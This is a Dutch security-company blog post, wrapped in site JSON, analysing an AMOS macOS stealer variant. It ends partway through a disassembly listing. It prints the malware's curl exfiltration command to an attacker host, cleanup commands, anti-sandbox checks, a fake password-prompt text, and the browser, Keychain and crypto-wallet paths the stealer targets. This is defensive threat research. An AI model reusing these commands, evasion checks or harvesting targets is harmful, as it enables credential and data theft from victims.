[{"data":1,"prerenderedAt":3344},["ShallowReactive",2],{"sc:header-data-nl":3,"sc:footer-data-nl":489,"post-nl--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2772,"content-nl-list-7b291c2dd91a4":3124,"authors_data:Pascal Asch":3341},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"nl":13},{"title":14,"url":15,"alt":16},"Home","/nl","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"nl":21},{"title":22,"description":23},"Workplace","Slimme, veilige en flexibele werkplekken op basis van Microsoft 365, waarin moderne technologie en identiteitsdiensten samenkomen.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"nl":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"nl":34},{"title":35,"url":36},"Managed Intune","/nl/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"nl":40},{"title":41,"url":42},"Managed Entra","/nl/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"nl":46},{"title":47,"url":48},"Managed Workplace","/nl/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"nl":52},{"title":53,"url":54},"Consulting Services","/nl/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"nl":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"nl":64},{"title":65,"url":66},"Microsoft Entra Suite","/nl/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"nl":70},{"title":71,"url":72},"Microsoft Intune","/nl/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"nl":76},{"title":77,"url":78},"Microsoft Windows","/nl/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"nl":82},{"title":83,"url":84},"Windows 365 Cloud PC","/nl/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"nl":88},{"title":89,"url":90},"Cloud Workplace Foundation","/nl/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"nl":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"nl":100},{"title":101,"url":102},"Microsoft 365 Copilot","/nl/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"nl":106},{"title":107,"url":108},"Teams","/nl/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"nl":112},{"title":113,"url":114},"SharePoint & Power Platform","/nl/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"nl":118},{"title":119,"url":120},"Exchange Online","/nl/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"nl":124},{"title":125,"url":126},"Information Protection & Compliance","/nl/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"nl":130},{"title":131,"description":132},"Azure","Groeien met Azure: lagere cloudkosten, meer efficiëntie en ruimte voor innovatie met IaaS en PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"nl":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"nl":142},{"title":143,"url":144},"Azure Managed Services","/nl/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"nl":148},{"title":149,"url":150},"Azure Consulting","/nl/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"nl":154},{"title":155},"Scenario's",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"nl":160},{"title":161,"url":162},"Plan je cloud","/nl/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"nl":166},{"title":167,"url":168},"Migreren naar de cloud","/nl/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"nl":172},{"title":173,"url":174},"Vernieuw je business","/nl/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"nl":178},{"title":179,"url":180},"Herzie je VMware-strategie","/nl/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"nl":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"nl":190},{"title":191,"url":192},"Azure Foundation","/nl/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"nl":196},{"title":197,"url":198},"Azure AI Foundation","/nl/azure/azure-ai-foundation",{"name":86,"languages":200},{"nl":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"nl":205},{"title":206,"url":207},"Azure Data Foundation","/nl/azure/azure-data-foundation",{"name":188,"languages":209},{"nl":210},{"title":211,"url":212},"Azure Container Foundation","/nl/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"nl":216},{"title":217,"url":218},"Managed Dark Tenant","/nl/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"nl":222},{"title":223,"url":224},"Cloud Adoption Framework","/nl/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"nl":228},{"title":229,"url":230},"Cloud Competence Center","/nl/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"nl":234},{"title":235,"description":236,"emergency":237},"Security","Waakzaam in de cloud met een bekroonde 24/7 managed service, incident response en moderne bescherming van je infrastructuur.",{"text":238,"href":239,"skin":240,"icon":241},"Onder aanval?","/nl/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"nl":249},{"title":250,"url":251},"Managed Red Tenant","/nl/security/managed-red-tenant",{"name":214,"languages":253},{"nl":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"nl":259},{"title":260,"url":261},"Sentinel Data Lake","/nl/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"nl":265},{"title":266,"url":267},"Security Consulting","/nl/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"nl":274},{"title":275,"url":276},"Cloud Security Operations Center","/nl/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"nl":280},{"title":281,"url":282},"Global Secure Access","/nl/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"nl":286},{"title":287,"url":288},"MyWorkID","/nl/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"nl":295},{"title":296,"url":297},"Preventive Services","/nl/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"nl":301},{"title":302,"url":303},"Data Security Service","/nl/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"nl":307},{"title":308,"url":309},"Security Copilot Agents","/nl/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"nl":313},{"title":314,"url":315},"NIS2 implementeren","/nl/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"nl":319},{"title":320,"description":321},"Producten","Companion-producten voor een volledig beveiligde, 100% cloud-native Microsoft-omgeving die samenwerking, netwerkauthenticatie en softwarebeheer versterken.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"nl":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Softwaredistributie vanuit de cloud",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"nl":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certificaatdistributie vanuit de cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"nl":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Werk met je lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"nl":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migreer je data van de ene server naar de andere",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"nl":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider voor Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"nl":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Authenticatie voor je netwerk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"nl":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Contacten vinden in Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"nl":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-monitoring in realtime",{"name":396,"languages":397},"casestudies",{"nl":398},{"title":399,"url":400,"description":401},"Case studies","/nl/casestudies","Pionier in de cloud: je Microsoft-partner voor doordachte cloudoplossingen met een blueprint-gebaseerde aanpak en expertise in Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"nl":405},{"title":406,"description":401},"Bedrijf",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"nl":411},{"title":412},"Over ons",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"nl":417},{"title":418,"url":419},"Facts & Figures","/nl/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"nl":423},{"title":424,"url":425},"Contact & locaties","/nl/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"nl":429},{"title":430,"url":431}," glueckkanja Zwitserland","/nl/company/switzerland",{"name":433,"languages":434},"austria",{"nl":435},{"title":436,"url":437},"glueckkanja Oostenrijk","/nl/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"nl":441},{"title":442},"Carrière",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"nl":447},{"title":448,"url":449},"Carrière-overzicht","/nl/career",{"name":451,"languages":452},"company-young-professionals",{"nl":453},{"title":454,"url":455},"Young Professionals","/nl/young-professionals",{"name":457,"languages":458},"company-jobs",{"nl":459},{"title":460,"url":461},"Vacatures","/nl/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"nl":465},{"title":466},"Actueel",[468,474],{"name":469,"languages":470},"company-blog",{"nl":471},{"title":472,"url":473},"Blog","/nl/blog",{"name":469,"languages":475},{"nl":476},{"title":477,"url":478},"Events","/nl/events",[480],{"name":481,"languages":482},"career-meta",{"nl":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"nl":487},{"title":488,"url":425,"active":484},"Contact",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNl":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/nl/privacy",{"title":514,"url":515},"Juridische informatie","/nl/imprint",{"title":517,"url":518},"Geen cookies","/nl/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2675,"hideInRecent":484,"layout":2676,"meta":2677,"moment":2681,"navigation":325,"path":2762,"seo":2763,"stem":2764,"tags":2765,"webcast":484,"__hash__":2771},"content_nl/posts/2026-04-10-incident-to-intelligence.md","Anatomie van een onbekende AMOS Stealer: van alert naar immuniteit in enkele uren",[523],"Pascal Asch",{"type":525,"value":526,"toc":2639},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,924,927,931,933,1017,1021,1023,1034,1041,1115,1126,1133,1137,1139,1204,1208,1210,1217,1219,1223,1225,1232,1258,1445,1448,1456,1467,1470,1478,1492,1505,1507,1511,1513,1531,1553,1743,1746,1754,1757,1760,1762,1766,1768,1771,1850,1853,1872,1951,1954,1956,1960,1962,1965,1972,2027,2030,2038,2041,2043,2047,2049,2056,2068,2116,2127,2166,2175,2190,2193,2195,2199,2201,2208,2211,2219,2222,2230,2244,2247,2249,2253,2255,2265,2269,2271,2289,2297,2311,2331,2335,2337,2340,2348,2351,2359,2373,2377,2379,2382,2390,2409,2414,2418,2420,2428,2434,2441,2445,2447,2455,2459,2461,2464,2472,2475,2479,2481,2489,2493,2495,2503,2507,2509,2517,2521,2523,2531,2548,2553,2555,2559,2561,2568,2585,2588,2601,2603,2607,2609,2612,2615,2618,2635],[528,529,530],"p",{},"Wanneer in ons SOC een alert afgaat, begint de klok te lopen: niet alleen voor de getroffen klant, maar voor alle organisaties onder onze bescherming. Het gevaarlijkste moment in het huidige dreigingslandschap is de intelligence gap, het tijdvenster tussen de eerste inzet van een nieuwe malwarevariant en de dag waarop de branche daarvan hoort.",[528,532,533],{},"Voor zelfstandige securityteams betekent dat gat extreme kwetsbaarheid: je wacht op een vendor-update of een signature-feed die nog niet geschreven is. Voor onze klanten sluit onze intern ontwikkelde Shared Threat Intelligence precies dat venster.",[528,535,536],{},"Dit artikel is een technische uiteenzetting van hoe we een tot dan toe ongedocumenteerde AMOS-variant (Atomic macOS Stealer) uit elkaar hebben gehaald en hoe uit één enkel gecompromitteerd endpoint binnen enkele uren een dekkende detectie en blokkering voor al onze klantomgevingen ontstond.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"het-incident-een-onbekend-ioc-scenario","Het incident: een onbekend IOC-scenario",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"De alert kwam binnen op 12 maart 2026 om 06:25 uur lokale tijd: een macOS-endpoint was gecompromitteerd. Toen ons SOC met de analyse van de artefacten begon, stonden we voor een situatie die elke threat analyst vreest: geen bekende file hashes, geen C2-IP-adressen, geen bruikbare gedragssignatures in openbare databases.",[528,552,553,554,558],{},"De volledige aanvalsarchitectuur werd pas in de diepteanalyse duidelijk. De infectie was gebaseerd op een macOS universal binary van 15,7 MB (x86_64 en ARM64), neergezet in ",[555,556,557],"code",{},"/private/tmp/helper",". Het sample was op het gecompromitteerde systeem niet direct beschikbaar; ons team moest de infectieketen reconstrueren en het oorspronkelijke afleververzoek simuleren om de binary handmatig uit de infrastructuur van de aanvaller op te halen.",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1-sandbox-checks","Stage 1: sandbox-checks",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"Voordat de eigenlijke stealer op het toestel werd uitgevoerd, had al een AppleScript-payload gelopen. Elke string daarin, elk bestandspad, elk shell-commando, elke URL was gecodeerd via drie zelfgeschreven arithmetische functies:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"Geen enkele string komt in plaintext voor. Wat op het eerste gezicht op betekenisloze integer-arrays leek, bleek na het omkeren van het coderingsschema een volledig, direct inzetbaar framework voor datadiefstal en exfiltratie.",[528,590,591],{},"We hebben elke array in het script statisch gedecodeerd. De resultaten waren eenduidig:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"De download-URL imiteert bewust een legitieme update van de workflowautomatisering n8n, een tool die bij developers en DevOps-engineers wijdverbreid is. Dat is geen toeval: de campagne richt zich op technisch onderlegde gebruikers, niet op gewone eindgebruikers die gekraakte software installeren.",[562,604,606],{"id":605},"de-anti-sandbox-check","De anti-sandbox-check",[528,608,568],{},[528,610,611],{},"Voor de download voerde het script een aparte VM- en sandbox-detectieroutine uit. Uit de incident-artefacten konden we bovendien een zelfstandig anti-sandbox-script herstellen:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"De resultaten toetste het script vervolgens aan twee lijsten. De eerste zocht naar virtualisatiemarkeringen in de geheugendata:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"De tweede controleerde hardware-identifiers tegen een lijst met bekende serienummers van analysemachines:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"Bij een match: ",[555,661,662],{},"exit 100",", volledige afbreking. Op een echte MacBook Pro met Apple Silicon werden alle checks geruisloos doorstaan en liep de uitvoering verder. Een sandbox-evasietechniek op professioneel niveau, die afliep voordat er ook maar één byte van de binary was gedownload.",[562,665,667],{"id":666},"simpel-maar-effectief-de-nagemaakte-wachtwoordprompt","Simpel, maar effectief: de nagemaakte wachtwoordprompt",[528,669,568],{},[528,671,672],{},"Het gedecodeerde script bevatte ook de dialoog voor privilege-escalatie via social engineering:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"De dialoog verschijnt via een standaard macOS-",[555,685,686],{},"display dialog","-aanroep met ",[555,689,690],{},"with hidden answer"," en is visueel niet te onderscheiden van een echte macOS-autorisatieprompt. Het ingevoerde wachtwoord gebruikte het script om ",[555,693,694],{},"login -pf \u003Cusername>"," aan te roepen en het proces naar root-rechten te tillen, nog voordat de binary werd uitgevoerd.",[562,697,699],{"id":698},"wat-het-script-heeft-verzameld","Wat het script heeft verzameld",[528,701,568],{},[528,703,704],{},"Zodra de binary was uitgevoerd, zette het osascript zijn eigen verzamelproces voort en tapte het elke categorie gevoelige systeemdata af. We hebben alle verzamelpaden en doelen gedecodeerd:",[706,707,709],"h3",{"id":708},"browserdata-alle-chromium-browsers-safari","Browserdata (alle Chromium-browsers + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"Volledige inhoud als HTML geëxporteerd, met teller-header",[706,745,747],{"id":746},"lokale-bestanden","Lokale bestanden",[528,749,712],{},[528,751,752],{},"Desktop en Documenten, tot 30 MB, met focus op:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"cryptovaluta-wallets","Cryptovaluta-wallets",[528,766,712],{},[528,768,769,770,774],{},"Een hardcoded lijst met ",[771,772,773],"strong",{},"meer dan 200 browser-extension-ID's"," die alle gangbare wallets dekt, waaronder MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI en Exodus.",[528,776,777],{},"Na het verzamelen werden alle data gebundeld in een willekeurig genoemde tijdelijke directory en geëxfiltreerd:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"Het opruimen volgde direct daarna:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"stage-2-reverse-engineering-van-de-helper-binary","Stage 2: reverse engineering van de 'helper' binary",[528,916,547],{},[528,918,919,920,923],{},"De ",[555,921,922],{},"helper","-binary is het deel waar deze analyse werkelijk de diepte in gaat. Het gaat om een professioneel geobfusceerde macOS-executable die statische analyse systematisch bemoeilijkt en die de grootste reverse-engineeringinspanning van dit onderzoek vergde.",[528,925,926],{},"De volledige analyse is uitgevoerd met Ghidra en onze eigen ARM64-analyseworkflow.",[562,928,930],{"id":929},"bestandseigenschappen","Bestandseigenschappen",[528,932,568],{},[573,934,936],{"style":935},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[937,938,940,941,940,957],"table",{"style":939},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[942,943,944,945,940],"thead",{},"\n    ",[946,947,948,949,948,954,944],"tr",{},"\n      ",[950,951,953],"th",{"style":952},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Eigenschap",[950,955,956],{"style":952},"Waarde",[958,959,944,960,944,970,944,979,944,987,944,997,944,1007,940],"tbody",{},[946,961,948,962,948,967,944],{},[963,964,966],"td",{"style":965},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[963,968,969],{"style":965},"Mach-O Universal Binary",[946,971,948,972,948,976,944],{},[963,973,975],{"style":974},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[963,977,978],{"style":974},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[946,980,948,981,948,984,944],{},[963,982,983],{"style":965},"Size",[963,985,986],{"style":965},"15.7 MB",[946,988,948,989,948,992,944],{},[963,990,991],{"style":974},"MD5",[963,993,994],{"style":974},[555,995,996],{},"4599fdf2fa2099b30d8bbf76703dd634",[946,998,948,999,948,1002,944],{},[963,1000,1001],{"style":965},"SHA-1",[963,1003,1004],{"style":965},[555,1005,1006],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[946,1008,948,1009,948,1012,944],{},[963,1010,1011],{"style":974},"SHA-256",[963,1013,1014],{"style":974},[555,1015,1016],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1018,1020],{"id":1019},"het-begint-vóór-main","Het begint vóór main()",[528,1022,568],{},[528,1024,1025,1026,1029,1030,1033],{},"Het eerste dat we in Ghidra vaststelden: deze binary gedraagt zich niet als een normale executable. Het feitelijke entry point is niet ",[555,1027,1028],{},"main()",", maar een functie die geregistreerd is in ",[555,1031,1032],{},"__mod_init_func",", een macOS-mechanisme dat de dynamic linker (dyld) opdraagt bepaalde functies automatisch uit te voeren zodra de binary wordt geladen, nog voordat er bruikbare code loopt.",[528,1035,1036,1037,1040],{},"De init-functie op ",[555,1038,1039],{},"0x10009f384"," is het eigenlijke entry point van de malware. Hier de Ghidra-decompilatie:",[573,1042,1043],{"style":575},[1044,1045,1046,1050,1053,1056,1060,1061,1065,1066,1068,1069,1072,1073,1087],"code-block",{},[622,1047,1049],{"style":1048},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1051,1052],"br",{},[622,1054,1055],{"style":1048},"// __mod_init_func registered — executes before main()",[622,1057,1059],{"style":1058},"color:#d73a49","void"," ",[622,1062,1064],{"style":1063},"color:#6f42c1","FUN_10009f384","(",[622,1067,1059],{"style":1058},")\n{\n  ",[622,1070,1071],{"style":1058},"int"," iVar1;\n",[528,1074,1075,1078,1079,1065,1082,1086],{},[622,1076,1077],{"style":1048},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1080,1081],{"style":1063},"_usleep",[622,1083,1085],{"style":1084},"color:#005cc5","0x37e",");",[528,1088,1089,1092,1095,1096,1098,1099,1102,1103,1106,1107,1110,1111,1114],{},[622,1090,1091],{"style":1048},"// Indirect jump table — 14-state machine",[622,1093,1094],{"style":1048},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1097,555],{"style":1058}," _)((",[622,1100,1101],{"style":1058},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1104,1105],{"style":1084},"4"," + ",[622,1108,1109],{"style":1084},"0x10009f440","))(iVar1);\n",[622,1112,1113],{"style":1058},"return",";\n}",[528,1116,1117,1118,1121,1122,1125],{},"Twee dingen vallen direct op. Ten eerste de ",[555,1119,1120],{},"usleep"," van 894 microseconden bij de start: een anti-sandbox-timingsignaal. Ernstiger is de indirecte jump table op ",[555,1123,1124],{},"0x10009f43c",". Dat is een berekende branch waarbij het doeladres pas tijdens runtime uit een lookup-tabel wordt bepaald. Statische analysetools kunnen de control flow graph niet reconstrueren; Ghidra logde meerdere “unreachable block”-waarschuwingen bij de poging het uitvoeringspad te volgen. Dat is precies de bedoeling.",[528,1127,1128,1129,1132],{},"De jump table drijft een ",[771,1130,1131],{},"uitvoeringsmachine met 14 toestanden"," aan. Elke toestand voert één discrete stap van de decryptie- en uitvoeringspipeline uit. De toestandsteller wordt na elke stap bijgewerkt, en de machine loopt tot alle toestanden zijn doorlopen.",[562,1134,1136],{"id":1135},"de-arm64-disassembly-van-de-state-dispatcher","De ARM64-disassembly van de state dispatcher",[528,1138,568],{},[573,1140,1141],{"style":575},[577,1142,1146],{"className":1143,"code":1144,"language":1145,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  